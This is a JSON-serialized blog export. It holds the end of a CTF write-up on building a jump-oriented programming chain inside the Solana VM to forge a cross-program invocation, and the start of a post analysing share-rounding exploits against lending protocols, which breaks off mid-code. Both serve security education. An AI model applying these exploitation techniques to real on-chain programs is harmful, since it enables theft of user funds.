79a1c8ff00000000",{"type":23,"tag":481,"props":42626,"children":42627},{"style":508},[42628],{"type":28,"value":41649},{"type":23,"tag":481,"props":42630,"children":42631},{"style":508},[42632],{"type":28,"value":41943},{"type":23,"tag":481,"props":42634,"children":42635},{"style":525},[42636],{"type":28,"value":41659},{"type":23,"tag":481,"props":42638,"children":42639},{"style":508},[42640],{"type":28,"value":41664},{"type":23,"tag":481,"props":42642,"children":42643},{"style":514},[42644],{"type":28,"value":1876},{"type":23,"tag":481,"props":42646,"children":42647},{"style":551},[42648],{"type":28,"value":42649},"56",{"type":23,"tag":481,"props":42651,"children":42652},{"style":525},[42653],{"type":28,"value":41678},{"type":23,"tag":481,"props":42655,"children":42656},{"style":508},[42657],{"type":28,"value":42658},"var_38",{"type":23,"tag":481,"props":42660,"children":42661},{"style":525},[42662],{"type":28,"value":1443},{"type":23,"tag":481,"props":42664,"children":42665},{"class":483,"line":6697},[42666,42671,42675,42679,42683,42687],{"type":23,"tag":481,"props":42667,"children":42668},{"style":508},[42669],{"type":28,"value":42670},"100001c58",{"type":23,"tag":481,"props":42672,"children":42673},{"style":508},[42674],{"type":28,"value":42462},{"type":23,"tag":481,"props":42676,"children":42677},{"style":508},[42678],{"type":28,"value":41938},{"type":23,"tag":481,"props":42680,"children":42681},{"style":508},[42682],{"type":28,"value":41709},{"type":23,"tag":481,"props":42684,"children":42685},{"style":525},[42686],{"type":28,"value":588},{"type":23,"tag":481,"props":42688,"children":42689},{"style":551},[42690],{"type":28,"value":42479},{"type":23,"tag":481,"props":42692,"children":42693},{"class":483,"line":21008},[42694,42699,42704,42708],{"type":23,"tag":481,"props":42695,"children":42696},{"style":508},[42697],{"type":28,"value":42698},"100001c60",{"type":23,"tag":481,"props":42700,"children":42701},{"style":508},[42702],{"type":28,"value":42703}," 85100000fefdffff",{"type":23,"tag":481,"props":42705,"children":42706},{"style":508},[42707],{"type":28,"value":41860},{"type":23,"tag":481,"props":42709,"children":42710},{"style":508},[42711],{"type":28,"value":42501},{"type":23,"tag":481,"props":42713,"children":42714},{"class":483,"line":21043},[42715],{"type":23,"tag":481,"props":42716,"children":42717},{"emptyLinePlaceholder":15},[42718],{"type":28,"value":1210},{"type":23,"tag":481,"props":42720,"children":42721},{"class":483,"line":21051},[42722,42727,42732,42737,42742,42747],{"type":23,"tag":481,"props":42723,"children":42724},{"style":508},[42725],{"type":28,"value":42726},"100001c68",{"type":23,"tag":481,"props":42728,"children":42729},{"style":551},[42730],{"type":28,"value":42731}," 9500000000000000",{"type":23,"tag":481,"props":42733,"children":42734},{"style":508},[42735],{"type":28,"value":42736}," exit",{"type":23,"tag":481,"props":42738,"children":42739},{"style":525},[42740],{"type":28,"value":42741}," {",{"type":23,"tag":481,"props":42743,"children":42744},{"style":508},[42745],{"type":28,"value":42746},"__return_addr",{"type":23,"tag":481,"props":42748,"children":42749},{"style":525},[42750],{"type":28,"value":1443},{"type":23,"tag":24,"props":42752,"children":42753},{},[42754,42756,42762],{"type":28,"value":42755},"Which, assuming that ",{"type":23,"tag":64,"props":42757,"children":42759},{"className":42758},[],[42760],{"type":28,"value":42761},"sol_invoke_signed_rust",{"type":28,"value":42763}," returns 0, is doing the following:",{"type":23,"tag":73,"props":42765,"children":42766},{},[42767,42776,42785],{"type":23,"tag":77,"props":42768,"children":42769},{},[42770],{"type":23,"tag":64,"props":42771,"children":42773},{"className":42772},[],[42774],{"type":28,"value":42775},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":23,"tag":77,"props":42777,"children":42778},{},[42779],{"type":23,"tag":64,"props":42780,"children":42782},{"className":42781},[],[42783],{"type":28,"value":42784},"*[r10-120] = 0x18",{"type":23,"tag":77,"props":42786,"children":42787},{},[42788,42790,42796,42798,42805],{"type":28,"value":42789},"Calls ",{"type":23,"tag":64,"props":42791,"children":42793},{"className":42792},[],[42794],{"type":28,"value":42795},"__rust_dealloc",{"type":28,"value":42797},", which in default circumstances is a ",{"type":23,"tag":190,"props":42799,"children":42802},{"href":42800,"rel":42801},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[194],[42803],{"type":28,"value":42804},"NOP",{"type":28,"value":199},{"type":23,"tag":24,"props":42807,"children":42808},{},[42809],{"type":28,"value":42810},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":23,"tag":24,"props":42812,"children":42813},{},[42814],{"type":28,"value":42815},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":23,"tag":24,"props":42817,"children":42818},{},[42819,42821,42828],{"type":28,"value":42820},"Looking at the ",{"type":23,"tag":190,"props":42822,"children":42825},{"href":42823,"rel":42824},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[194],[42826],{"type":28,"value":42827},"definition",{"type":28,"value":42829},", it's not crystal clear what the parameters are:",{"type":23,"tag":435,"props":42831,"children":42833},{"className":475,"code":42832,"language":474,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[42834],{"type":23,"tag":64,"props":42835,"children":42836},{"__ignoreMap":7},[42837],{"type":23,"tag":481,"props":42838,"children":42839},{"class":483,"line":484},[42840,42844,42849,42853,42858,42862,42866,42870,42874,42878,42883,42887,42891,42895,42899,42903,42908,42912,42916,42920,42925,42929,42933,42937,42941,42945,42950,42954,42958,42962,42966],{"type":23,"tag":481,"props":42841,"children":42842},{"style":497},[42843],{"type":28,"value":17764},{"type":23,"tag":481,"props":42845,"children":42846},{"style":610},[42847],{"type":28,"value":42848}," sol_invoke_signed_rust",{"type":23,"tag":481,"props":42850,"children":42851},{"style":525},[42852],{"type":28,"value":618},{"type":23,"tag":481,"props":42854,"children":42855},{"style":508},[42856],{"type":28,"value":42857},"instruction_addr",{"type":23,"tag":481,"props":42859,"children":42860},{"style":514},[42861],{"type":28,"value":287},{"type":23,"tag":481,"props":42863,"children":42864},{"style":514},[42865],{"type":28,"value":7301},{"type":23,"tag":481,"props":42867,"children":42868},{"style":497},[42869],{"type":28,"value":7139},{"type":23,"tag":481,"props":42871,"children":42872},{"style":943},[42873],{"type":28,"value":12122},{"type":23,"tag":481,"props":42875,"children":42876},{"style":525},[42877],{"type":28,"value":588},{"type":23,"tag":481,"props":42879,"children":42880},{"style":508},[42881],{"type":28,"value":42882},"account_infos_addr",{"type":23,"tag":481,"props":42884,"children":42885},{"style":514},[42886],{"type":28,"value":287},{"type":23,"tag":481,"props":42888,"children":42889},{"style":514},[42890],{"type":28,"value":7301},{"type":23,"tag":481,"props":42892,"children":42893},{"style":497},[42894],{"type":28,"value":7139},{"type":23,"tag":481,"props":42896,"children":42897},{"style":943},[42898],{"type":28,"value":12122},{"type":23,"tag":481,"props":42900,"children":42901},{"style":525},[42902],{"type":28,"value":588},{"type":23,"tag":481,"props":42904,"children":42905},{"style":508},[42906],{"type":28,"value":42907},"account_infos_len",{"type":23,"tag":481,"props":42909,"children":42910},{"style":514},[42911],{"type":28,"value":287},{"type":23,"tag":481,"props":42913,"children":42914},{"style":943},[42915],{"type":28,"value":3336},{"type":23,"tag":481,"props":42917,"children":42918},{"style":525},[42919],{"type":28,"value":588},{"type":23,"tag":481,"props":42921,"children":42922},{"style":508},[42923],{"type":28,"value":42924},"signers_seeds_addr",{"type":23,"tag":481,"props":42926,"children":42927},{"style":514},[42928],{"type":28,"value":287},{"type":23,"tag":481,"props":42930,"children":42931},{"style":514},[42932],{"type":28,"value":7301},{"type":23,"tag":481,"props":42934,"children":42935},{"style":497},[42936],{"type":28,"value":7139},{"type":23,"tag":481,"props":42938,"children":42939},{"style":943},[42940],{"type":28,"value":12122},{"type":23,"tag":481,"props":42942,"children":42943},{"style":525},[42944],{"type":28,"value":588},{"type":23,"tag":481,"props":42946,"children":42947},{"style":508},[42948],{"type":28,"value":42949},"signers_seeds_len",{"type":23,"tag":481,"props":42951,"children":42952},{"style":514},[42953],{"type":28,"value":287},{"type":23,"tag":481,"props":42955,"children":42956},{"style":943},[42957],{"type":28,"value":3336},{"type":23,"tag":481,"props":42959,"children":42960},{"style":525},[42961],{"type":28,"value":598},{"type":23,"tag":481,"props":42963,"children":42964},{"style":514},[42965],{"type":28,"value":11245},{"type":23,"tag":481,"props":42967,"children":42968},{"style":943},[42969],{"type":28,"value":10684},{"type":23,"tag":24,"props":42971,"children":42972},{},[42973,42975,42980,42982,42989],{"type":28,"value":42974},"The source of ",{"type":23,"tag":190,"props":42976,"children":42978},{"href":42977},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[42979],{"type":28,"value":41590},{"type":28,"value":42981}," helps a lot, but looking at the actual ",{"type":23,"tag":190,"props":42983,"children":42986},{"href":42984,"rel":42985},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[194],[42987],{"type":28,"value":42988},"implementation",{"type":28,"value":42990}," provides more clarity:",{"type":23,"tag":14178,"props":42992,"children":42993},{},[42994],{"type":23,"tag":77,"props":42995,"children":42996},{},[42997,43002,43004,43011],{"type":23,"tag":64,"props":42998,"children":43000},{"className":42999},[],[43001],{"type":28,"value":42857},{"type":28,"value":43003}," points to a ",{"type":23,"tag":190,"props":43005,"children":43008},{"href":43006,"rel":43007},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[194],[43009],{"type":28,"value":43010},"StableInstruction",{"type":28,"value":287},{"type":23,"tag":24,"props":43013,"children":43014},{},[43015],{"type":23,"tag":149,"props":43016,"children":43018},{"alt":43010,"src":43017},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":23,"tag":14178,"props":43020,"children":43021},{},[43022,43047],{"type":23,"tag":77,"props":43023,"children":43024},{},[43025,43030,43032,43037,43039,43046],{"type":23,"tag":64,"props":43026,"children":43028},{"className":43027},[],[43029],{"type":28,"value":42882},{"type":28,"value":43031}," points to a slice of ",{"type":23,"tag":64,"props":43033,"children":43035},{"className":43034},[],[43036],{"type":28,"value":42907},{"type":28,"value":43038}," ",{"type":23,"tag":190,"props":43040,"children":43043},{"href":43041,"rel":43042},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[194],[43044],{"type":28,"value":43045},"AccountInfos",{"type":28,"value":199},{"type":23,"tag":77,"props":43048,"children":43049},{},[43050,43055,43057,43062,43064,43069],{"type":23,"tag":64,"props":43051,"children":43053},{"className":43052},[],[43054],{"type":28,"value":42924},{"type":28,"value":43056}," is a bit trickier, it points to a slice of length ",{"type":23,"tag":64,"props":43058,"children":43060},{"className":43059},[],[43061],{"type":28,"value":42949},{"type":28,"value":43063},", containing slices of ",{"type":23,"tag":64,"props":43065,"children":43067},{"className":43066},[],[43068],{"type":28,"value":946},{"type":28,"value":199},{"type":23,"tag":24,"props":43071,"children":43072},{},[43073],{"type":23,"tag":149,"props":43074,"children":43077},{"alt":43075,"src":43076},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":23,"tag":24,"props":43079,"children":43080},{},[43081,43083,43088],{"type":28,"value":43082},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":23,"tag":127,"props":43084,"children":43085},{},[43086],{"type":28,"value":43087},"future call frames",{"type":28,"value":199},{"type":23,"tag":24,"props":43090,"children":43091},{},[43092,43094,43101],{"type":28,"value":43093},"Now that we have all the parts, all we need is to string it together. The full ",{"type":23,"tag":190,"props":43095,"children":43098},{"href":43096,"rel":43097},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[194],[43099],{"type":28,"value":43100},"reference solution can be found here",{"type":28,"value":199},{"type":23,"tag":24,"props":43103,"children":43104},{},[43105],{"type":28,"value":43106},"Here's a visualization of the final JOP chain.",{"type":23,"tag":435,"props":43108,"children":43110},{"className":41472,"code":43109,"language":41474,"meta":7,"style":7},"graph BT\n A[0: entrypoint] --> B[1: process_instruction]\n B --> C[2: process]\n C --> D[3: Write account_infos.ptr to target_r10 - 136]\n C --> E[3: process]\n E --> F[4: Write account_infos.len to target_r10 - 128]\n E --> G[4: process]\n G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n G --> I[5: process]\n I --> J[6: Write signers_seeds.len to target_r10 - 144]\n I --> K[6: process]\n K --> M[7: Write HeapBase to target_r10 - 120]\n K --> N[7: process]\n N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n N --> O[8: Write 0x4337 to the account]\n",[43111],{"type":23,"tag":64,"props":43112,"children":43113},{"__ignoreMap":7},[43114,43122,43129,43136,43144,43151,43159,43167,43175,43183,43191,43199,43207,43215,43223],{"type":23,"tag":481,"props":43115,"children":43116},{"class":483,"line":484},[43117],{"type":23,"tag":481,"props":43118,"children":43119},{},[43120],{"type":28,"value":43121},"graph BT\n",{"type":23,"tag":481,"props":43123,"children":43124},{"class":483,"line":351},[43125],{"type":23,"tag":481,"props":43126,"children":43127},{},[43128],{"type":28,"value":41494},{"type":23,"tag":481,"props":43130,"children":43131},{"class":483,"line":531},[43132],{"type":23,"tag":481,"props":43133,"children":43134},{},[43135],{"type":28,"value":41502},{"type":23,"tag":481,"props":43137,"children":43138},{"class":483,"line":567},[43139],{"type":23,"tag":481,"props":43140,"children":43141},{},[43142],{"type":28,"value":43143}," C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":23,"tag":481,"props":43145,"children":43146},{"class":483,"line":678},[43147],{"type":23,"tag":481,"props":43148,"children":43149},{},[43150],{"type":28,"value":41518},{"type":23,"tag":481,"props":43152,"children":43153},{"class":483,"line":784},[43154],{"type":23,"tag":481,"props":43155,"children":43156},{},[43157],{"type":28,"value":43158}," E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":23,"tag":481,"props":43160,"children":43161},{"class":483,"line":812},[43162],{"type":23,"tag":481,"props":43163,"children":43164},{},[43165],{"type":28,"value":43166}," E --> G[4: process]\n",{"type":23,"tag":481,"props":43168,"children":43169},{"class":483,"line":825},[43170],{"type":23,"tag":481,"props":43171,"children":43172},{},[43173],{"type":28,"value":43174}," G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":23,"tag":481,"props":43176,"children":43177},{"class":483,"line":843},[43178],{"type":23,"tag":481,"props":43179,"children":43180},{},[43181],{"type":28,"value":43182}," G --> I[5: process]\n",{"type":23,"tag":481,"props":43184,"children":43185},{"class":483,"line":864},[43186],{"type":23,"tag":481,"props":43187,"children":43188},{},[43189],{"type":28,"value":43190}," I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":23,"tag":481,"props":43192,"children":43193},{"class":483,"line":873},[43194],{"type":23,"tag":481,"props":43195,"children":43196},{},[43197],{"type":28,"value":43198}," I --> K[6: process]\n",{"type":23,"tag":481,"props":43200,"children":43201},{"class":483,"line":1125},[43202],{"type":23,"tag":481,"props":43203,"children":43204},{},[43205],{"type":28,"value":43206}," K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":23,"tag":481,"props":43208,"children":43209},{"class":483,"line":1142},[43210],{"type":23,"tag":481,"props":43211,"children":43212},{},[43213],{"type":28,"value":43214}," K --> N[7: process]\n",{"type":23,"tag":481,"props":43216,"children":43217},{"class":483,"line":1159},[43218],{"type":23,"tag":481,"props":43219,"children":43220},{},[43221],{"type":28,"value":43222}," N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":23,"tag":481,"props":43224,"children":43225},{"class":483,"line":1172},[43226],{"type":23,"tag":481,"props":43227,"children":43228},{},[43229],{"type":28,"value":43230}," N --> O[8: Write 0x4337 to the account]\n",{"type":23,"tag":24,"props":43232,"children":43233},{},[43234,43236,43242],{"type":28,"value":43235},"Small note: ",{"type":23,"tag":64,"props":43237,"children":43239},{"className":43238},[],[43240],{"type":28,"value":43241},"target_r10",{"type":28,"value":43243}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":23,"tag":435,"props":43245,"children":43247},{"className":475,"code":43246,"language":474,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n 0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[43248],{"type":23,"tag":64,"props":43249,"children":43250},{"__ignoreMap":7},[43251,43296,43331,43338],{"type":23,"tag":481,"props":43252,"children":43253},{"class":483,"line":484},[43254,43258,43263,43267,43272,43276,43280,43284,43288,43292],{"type":23,"tag":481,"props":43255,"children":43256},{"style":497},[43257],{"type":28,"value":17764},{"type":23,"tag":481,"props":43259,"children":43260},{"style":610},[43261],{"type":28,"value":43262}," call_frame_addr",{"type":23,"tag":481,"props":43264,"children":43265},{"style":525},[43266],{"type":28,"value":618},{"type":23,"tag":481,"props":43268,"children":43269},{"style":508},[43270],{"type":28,"value":43271},"depth",{"type":23,"tag":481,"props":43273,"children":43274},{"style":514},[43275],{"type":28,"value":287},{"type":23,"tag":481,"props":43277,"children":43278},{"style":943},[43279],{"type":28,"value":3336},{"type":23,"tag":481,"props":43281,"children":43282},{"style":525},[43283],{"type":28,"value":598},{"type":23,"tag":481,"props":43285,"children":43286},{"style":514},[43287],{"type":28,"value":11245},{"type":23,"tag":481,"props":43289,"children":43290},{"style":943},[43291],{"type":28,"value":3336},{"type":23,"tag":481,"props":43293,"children":43294},{"style":525},[43295],{"type":28,"value":809},{"type":23,"tag":481,"props":43297,"children":43298},{"class":483,"line":351},[43299,43304,43308,43313,43317,43322,43326],{"type":23,"tag":481,"props":43300,"children":43301},{"style":551},[43302],{"type":28,"value":43303}," 0x200000000",{"type":23,"tag":481,"props":43305,"children":43306},{"style":514},[43307],{"type":28,"value":6385},{"type":23,"tag":481,"props":43309,"children":43310},{"style":551},[43311],{"type":28,"value":43312}," 0x2000",{"type":23,"tag":481,"props":43314,"children":43315},{"style":514},[43316],{"type":28,"value":7301},{"type":23,"tag":481,"props":43318,"children":43319},{"style":508},[43320],{"type":28,"value":43321}," depth",{"type":23,"tag":481,"props":43323,"children":43324},{"style":514},[43325],{"type":28,"value":6385},{"type":23,"tag":481,"props":43327,"children":43328},{"style":551},[43329],{"type":28,"value":43330}," 0x1000\n",{"type":23,"tag":481,"props":43332,"children":43333},{"class":483,"line":531},[43334],{"type":23,"tag":481,"props":43335,"children":43336},{"style":525},[43337],{"type":28,"value":1443},{"type":23,"tag":481,"props":43339,"children":43340},{"class":483,"line":567},[43341],{"type":23,"tag":481,"props":43342,"children":43343},{"style":488},[43344],{"type":28,"value":43345},"// call_frame_addr(8) = 0x200011000\n",{"type":23,"tag":31,"props":43347,"children":43348},{"id":26445},[43349],{"type":28,"value":16443},{"type":23,"tag":24,"props":43351,"children":43352},{},[43353,43355,43362],{"type":28,"value":43354},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":23,"tag":190,"props":43356,"children":43359},{"href":43357,"rel":43358},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[194],[43360],{"type":28,"value":43361},"they do exist",{"type":28,"value":199},{"type":23,"tag":24,"props":43364,"children":43365},{},[43366],{"type":28,"value":43367},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":23,"tag":24,"props":43369,"children":43370},{},[43371,43373,43378],{"type":28,"value":43372},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":23,"tag":127,"props":43374,"children":43375},{},[43376],{"type":28,"value":43377},"entire",{"type":28,"value":43379}," runtime.",{"type":23,"tag":2918,"props":43381,"children":43382},{},[43383],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":43385},[43386,43390,43391,43394],{"id":16452,"depth":351,"text":16455,"children":43387},[43388,43389],{"id":38060,"depth":531,"text":38063},{"id":39379,"depth":531,"text":39382},{"id":40618,"depth":351,"text":40621},{"id":41454,"depth":351,"text":41457,"children":43392},[43393],{"id":41568,"depth":531,"text":41571},{"id":26445,"depth":351,"text":16443},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":43399,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":43400,"description":43401,"author":43402,"image":43403,"date":43405,"isFeatured":15,"onBlogPage":15,"body":43406,"_type":358,"_id":44552,"_source":360,"_file":44553,"_stem":44554,"_extension":363},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[3195],{"src":43404},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":20,"children":43407,"toc":44541},[43408,43412,43440,43445,43458,43463,43469,43474,43479,43484,43489,43502,43514,43534,43554,43559,43564,43582,43588,43593,43599,43613,43626,43631,43637,43651,43656,43678,43911,43916,43921,43934,44174,44184,44189,44195,44200,44205,44238,44243,44254,44260,44265,44279,44407,44421,44497,44502,44513,44518,44523,44527,44532,44537],{"type":23,"tag":31,"props":43409,"children":43410},{"id":26528},[43411],{"type":28,"value":26531},{"type":23,"tag":24,"props":43413,"children":43414},{},[43415,43417,43424,43425,43432,43434,43439],{"type":28,"value":43416},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":23,"tag":190,"props":43418,"children":43421},{"href":43419,"rel":43420},"https://neodyme.io/de/blog/lending_disclosure",[194],[43422],{"type":28,"value":43423},"fast",{"type":28,"value":588},{"type":23,"tag":190,"props":43426,"children":43429},{"href":43427,"rel":43428},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[194],[43430],{"type":28,"value":43431},"cheap",{"type":28,"value":43433}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":23,"tag":127,"props":43435,"children":43436},{},[43437],{"type":28,"value":43438},"Most people haven't considered what happens when shares are worth a lot",{"type":28,"value":199},{"type":23,"tag":24,"props":43441,"children":43442},{},[43443],{"type":28,"value":43444},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":23,"tag":73,"props":43446,"children":43447},{},[43448,43453],{"type":23,"tag":77,"props":43449,"children":43450},{},[43451],{"type":28,"value":43452},"Inflate share value (token to share conversion rate)",{"type":23,"tag":77,"props":43454,"children":43455},{},[43456],{"type":28,"value":43457},"Exploit rounding bug",{"type":23,"tag":24,"props":43459,"children":43460},{},[43461],{"type":28,"value":43462},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":23,"tag":31,"props":43464,"children":43466},{"id":43465},"model",[43467],{"type":28,"value":43468},"Model",{"type":23,"tag":24,"props":43470,"children":43471},{},[43472],{"type":28,"value":43473},"Before we dive in, there's some helpful background information we'll share first.",{"type":23,"tag":24,"props":43475,"children":43476},{},[43477],{"type":28,"value":43478},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":23,"tag":24,"props":43480,"children":43481},{},[43482],{"type":28,"value":43483},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":23,"tag":24,"props":43485,"children":43486},{},[43487],{"type":28,"value":43488},"This question is more complex than it may appear. Let's walk through an example.",{"type":23,"tag":24,"props":43490,"children":43491},{},[43492,43494,43500],{"type":28,"value":43493},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":23,"tag":64,"props":43495,"children":43497},{"className":43496},[],[43498],{"type":28,"value":43499},"1000:1000",{"type":28,"value":43501}," (1000 tokens to 1000 shares).",{"type":23,"tag":24,"props":43503,"children":43504},{},[43505,43507,43513],{"type":28,"value":43506},"After accruing fees, the pool gains one token for a new ratio of ",{"type":23,"tag":64,"props":43508,"children":43510},{"className":43509},[],[43511],{"type":28,"value":43512},"1001:1000",{"type":28,"value":199},{"type":23,"tag":24,"props":43515,"children":43516},{},[43517,43519,43525,43527,43532],{"type":28,"value":43518},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":23,"tag":64,"props":43520,"children":43522},{"className":43521},[],[43523],{"type":28,"value":43524},"1001/1000*999 = 999.999",{"type":28,"value":43526},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":23,"tag":127,"props":43528,"children":43529},{},[43530],{"type":28,"value":43531},"down",{"type":28,"value":43533}," against the user.",{"type":23,"tag":24,"props":43535,"children":43536},{},[43537,43539,43545,43547,43553],{"type":28,"value":43538},"If we give the user 999 tokens, the new pool state is ",{"type":23,"tag":64,"props":43540,"children":43542},{"className":43541},[],[43543],{"type":28,"value":43544},"2:1",{"type":28,"value":43546},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":23,"tag":64,"props":43548,"children":43550},{"className":43549},[],[43551],{"type":28,"value":43552},"3:1",{"type":28,"value":199},{"type":23,"tag":24,"props":43555,"children":43556},{},[43557],{"type":28,"value":43558},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":23,"tag":24,"props":43560,"children":43561},{},[43562],{"type":28,"value":43563},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":23,"tag":73,"props":43565,"children":43566},{},[43567,43572,43577],{"type":23,"tag":77,"props":43568,"children":43569},{},[43570],{"type":28,"value":43571},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":23,"tag":77,"props":43573,"children":43574},{},[43575],{"type":28,"value":43576},"When you withdraw, are you withdrawing shares or tokens?",{"type":23,"tag":77,"props":43578,"children":43579},{},[43580],{"type":28,"value":43581},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":23,"tag":31,"props":43583,"children":43585},{"id":43584},"decisions",[43586],{"type":28,"value":43587},"Decisions",{"type":23,"tag":24,"props":43589,"children":43590},{},[43591],{"type":28,"value":43592},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":23,"tag":7092,"props":43594,"children":43596},{"id":43595},"radiant-capital",[43597],{"type":28,"value":43598},"Radiant Capital",{"type":23,"tag":24,"props":43600,"children":43601},{},[43602,43604,43611],{"type":28,"value":43603},"Radiant Capital was ",{"type":23,"tag":190,"props":43605,"children":43608},{"href":43606,"rel":43607},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[194],[43609],{"type":28,"value":43610},"hacked on Jan 2nd",{"type":28,"value":43612}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":23,"tag":24,"props":43614,"children":43615},{},[43616,43618,43625],{"type":28,"value":43617},"The exploit is relatively straightforward and ",{"type":23,"tag":190,"props":43619,"children":43622},{"href":43620,"rel":43621},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[194],[43623],{"type":28,"value":43624},"has already been covered previously",{"type":28,"value":199},{"type":23,"tag":24,"props":43627,"children":43628},{},[43629],{"type":28,"value":43630},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":23,"tag":7092,"props":43632,"children":43634},{"id":43633},"wise-lending",[43635],{"type":28,"value":43636},"Wise Lending",{"type":23,"tag":24,"props":43638,"children":43639},{},[43640,43642,43649],{"type":28,"value":43641},"Wise Lending was ",{"type":23,"tag":190,"props":43643,"children":43646},{"href":43644,"rel":43645},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[194],[43647],{"type":28,"value":43648},"hacked on January 13th",{"type":28,"value":43650}," for just under $460,000.",{"type":23,"tag":24,"props":43652,"children":43653},{},[43654],{"type":28,"value":43655},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":23,"tag":24,"props":43657,"children":43658},{},[43659,43661,43668,43670,43677],{"type":28,"value":43660},"This is ",{"type":23,"tag":190,"props":43662,"children":43665},{"href":43663,"rel":43664},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[194],[43666],{"type":28,"value":43667},"the code responsible",{"type":28,"value":43669}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":23,"tag":190,"props":43671,"children":43674},{"href":43672,"rel":43673},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[194],[43675],{"type":28,"value":43676},"no way to atomically self-bankrupt",{"type":28,"value":199},{"type":23,"tag":435,"props":43679,"children":43681},{"className":2024,"code":43680,"language":2023,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n _poolToken,\n _amount\n)\n * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n / PRECISION_FACTOR_E18\n \u003C borrowAmount;\n\nif (state == true) {\n revert 